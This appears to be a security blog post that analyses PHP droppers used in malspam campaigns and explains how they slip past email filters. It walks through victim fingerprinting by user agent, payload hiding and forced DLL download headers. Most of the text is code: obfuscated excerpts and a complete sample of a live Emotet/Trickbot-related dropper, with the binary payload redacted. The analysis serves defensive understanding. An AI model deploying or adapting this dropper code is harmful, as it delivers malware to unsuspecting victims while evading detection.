PHP Droppers⌗

A dropper is a type of hacktool for disguising and downloading the malware payload which will be “dropped” to the victim device.

PHP droppers are used for evading detection by host anti-virus/malware and bypassing email security controls like filters and/or scanning. They are used for malicious URLs inside malspam sent to victims and prompt a binary data file download when the the link is clicked.

malware chain

Malspam Distribution⌗

In 2019 Proofpoint released a threat report showing usage of malware spread through malicious URLs exceeded the traditional file attachment method:

rise of malicious url

Why are droppers used?⌗

PHP droppers are used because they allow the attacker’s malspam to bypass certain email filters using two main techniques:

1) No Email Attachments Needed⌗

  1. Malware is not stored as an email file attachment

An attachment makes the email score much higher on email filters and the attached data gets flagged by a scanner like VirusTotal then it has a low chance of reaching a victim’s inbox.

2) “Clean” URLs⌗

  1. Malicious URL does not contain a file extension (e.g pretty permalinks)

    A direct link to the malware looks much more suspicious and is easily scanned by online scanners like VirusTotal:

pretty url

How A PHP Dropper Works⌗

Identify Victims⌗

  1. The dropper collects browser fingerprint data on the visitor to determine how the malware should proceed with trying to download onto the visitor’s device.
    private function getPlatform()
    {
        $userAgent = ( isset($_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")]) ? $_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")] : '' );
        $platform = 0; // PLATFORM_UNKNOWN

        if (stripos($userAgent, $this->d600fda8b0f54c("T0grSmxINWEwQVdDTEt3PTo6d2luZG93cw==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } else if (stripos($userAgent, $this->d600fda8b0f54c("a3lYSUlBTWg6OmlQYWQ=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("QUF6UVQvem1OS3o5djVpbG1BPT06OmlQb2Q=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("TzVTRDA4ajNCbkE9OjppUGhvbmU=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("V3dlSUhRUy8zU0NjUUlTaGtpYkZhZz09OjptYWM=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("R1VGMGljcDI6OmFuZHJvaWQ=")) !== false) {
            $platform = 1; // PLATFORM_ANDROID
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NXFqQWpKdDA5RCtITEsyWkRsWT06OmxpbnV4")) !== false) {
            $platform = 3; // PLATFORM_LINUX
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("bHZ5eVd5OTU6Ondpbg==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NDU4K1FtdFM6OmlPUw==")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        }

        return $platform;
    }

    public function d600fda8b0f54c($s)
    {
        $string = base64_decode($s);
        return explode('::', $string, 2)[1];
    }

Hides the Binary Malware⌗

  1. The binary malware can be stored as text strings in the PHP dropper’s code, or it can be dynamically provided by the attacker to the PHP dropper via POST requests.
        // Send content
        $contentData = '[put binary data payload here in proper format]';
        return gzinflate(base64_decode($contentData));

Generates Download Prompt⌗

  1. By using PHP’s header function, the dropper is able to trick the victim’s browser to prompt the download of a binary file (e.g bQ4O5I.dll) to the victim.
        // Resist Varnish-cache
        setcookie(uniqid(), time(), time() + 60, '/');

        // Send cache headers
        $timestamp = gmdate($this->d600fda8b0f54c("WmkyV2tSbz06OkQsIGQgTSBZIEg6aTpz")) . $this->d600fda8b0f54c("bEkrU0NPMTNDTFhqNXpHdG5KVXU6OiBHTVQ=");

        header($this->d600fda8b0f54c("OCttZGFSVkVFckUxYkE9PTo6Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ=="));
        header($this->d600fda8b0f54c("Z1JnZHVXbnU1UEliUDdkVXdMYz06OlByYWdtYTogbm8tY2FjaGU="));
        header($this->d600fda8b0f54c("bk94Rll5UT06Okxhc3QtTW9kaWZpZWQ6IA==") . $timestamp);
        header($this->d600fda8b0f54c("SjZwQitRQ294cVk9OjpFeHBpcmVzOiA=") . $timestamp);

        // Send content headers
        $contentName = 'bQ4O5I.dll';
        $contentType = 'application/octet-stream';

        header($this->d600fda8b0f54c("ZGZVM3JWUjZvUT09OjpDb250ZW50LVR5cGU6IA==") . $contentType);
        header($this->d600fda8b0f54c("d01KaklnPT06OkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSI=") . $contentName . '"');
        header($this->d600fda8b0f54c("SVp0ZXBMelZBZz09OjpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnk="));

Sample⌗

Here is a sample of a live PHP dropper used to spread Emotet/Trickbot related malware (payload redacted) via malspam distribution:


<?php

class c600fda8b0b856
{
/*
    const PLATFORM_UNKNOWN = 0;
    const PLATFORM_ANDROID = 1;
    const PLATFORM_APPLE   = 2;
    const PLATFORM_LINUX   = 3;
    const PLATFORM_WINDOWS = 4;
*/
    private function getPlatform()
    {
        $userAgent = ( isset($_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")]) ? $_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")] : '' );
        $platform = 0; // PLATFORM_UNKNOWN

        if (stripos($userAgent, $this->d600fda8b0f54c("T0grSmxINWEwQVdDTEt3PTo6d2luZG93cw==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } else if (stripos($userAgent, $this->d600fda8b0f54c("a3lYSUlBTWg6OmlQYWQ=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("QUF6UVQvem1OS3o5djVpbG1BPT06OmlQb2Q=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("TzVTRDA4ajNCbkE9OjppUGhvbmU=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("V3dlSUhRUy8zU0NjUUlTaGtpYkZhZz09OjptYWM=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("R1VGMGljcDI6OmFuZHJvaWQ=")) !== false) {
            $platform = 1; // PLATFORM_ANDROID
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NXFqQWpKdDA5RCtITEsyWkRsWT06OmxpbnV4")) !== false) {
            $platform = 3; // PLATFORM_LINUX
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("bHZ5eVd5OTU6Ondpbg==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NDU4K1FtdFM6OmlPUw==")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        }

        return $platform;
    }

    public function d600fda8b0f54c($s)
    {
        $string = base64_decode($s);
        return explode('::', $string, 2)[1];
    }

    public function p600fda8b0bb7c()
    {
        $qString = $this->d600fda8b0f54c("UmhDWnhoTGtCNTRKakE9PTo6UVVFUllfU1RSSU5H");

        if (!empty($_SERVER[$qString])) {
            return $_SERVER[$qString];
        }

        $path = '.' . sha1(basename(dirname(__FILE__)));

        if (($fp = fopen($path, 'c+')) !== false) {
            if (flock($fp, LOCK_EX)) {
                $stat = array();
                $fileSize = filesize($path);

                if ($fileSize > 0) {
                    $stat = json_decode(fread($fp, $fileSize), true);
                }

                $platform = $this->getPlatform();

                if (!isset($stat[$platform]) || !is_int($stat[$platform])) {
                    $stat[$platform] = 1;
                } else {
                    $stat[$platform]++;
                }

                fseek($fp, 0);
                fwrite($fp, json_encode($stat));
                fflush($fp);
                flock($fp, LOCK_UN);
            }

            fclose($fp);
        }

        // Resist Varnish-cache
        setcookie(uniqid(), time(), time() + 60, '/');

        // Send cache headers
        $timestamp = gmdate($this->d600fda8b0f54c("WmkyV2tSbz06OkQsIGQgTSBZIEg6aTpz")) . $this->d600fda8b0f54c("bEkrU0NPMTNDTFhqNXpHdG5KVXU6OiBHTVQ=");

        header($this->d600fda8b0f54c("OCttZGFSVkVFckUxYkE9PTo6Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ=="));
        header($this->d600fda8b0f54c("Z1JnZHVXbnU1UEliUDdkVXdMYz06OlByYWdtYTogbm8tY2FjaGU="));
        header($this->d600fda8b0f54c("bk94Rll5UT06Okxhc3QtTW9kaWZpZWQ6IA==") . $timestamp);
        header($this->d600fda8b0f54c("SjZwQitRQ294cVk9OjpFeHBpcmVzOiA=") . $timestamp);

        // Send content headers
        $contentName = 'bQ4O5I.dll';
        $contentType = 'application/octet-stream';

        header($this->d600fda8b0f54c("ZGZVM3JWUjZvUT09OjpDb250ZW50LVR5cGU6IA==") . $contentType);
        header($this->d600fda8b0f54c("d01KaklnPT06OkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSI=") . $contentName . '"');
        header($this->d600fda8b0f54c("SVp0ZXBMelZBZz09OjpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnk="));

        // Send content
        $contentData = '[put binary data payload here in proper format]';
        return gzinflate(base64_decode($contentData));
    }
}

echo (new c600fda8b0b856)->p600fda8b0bb7c();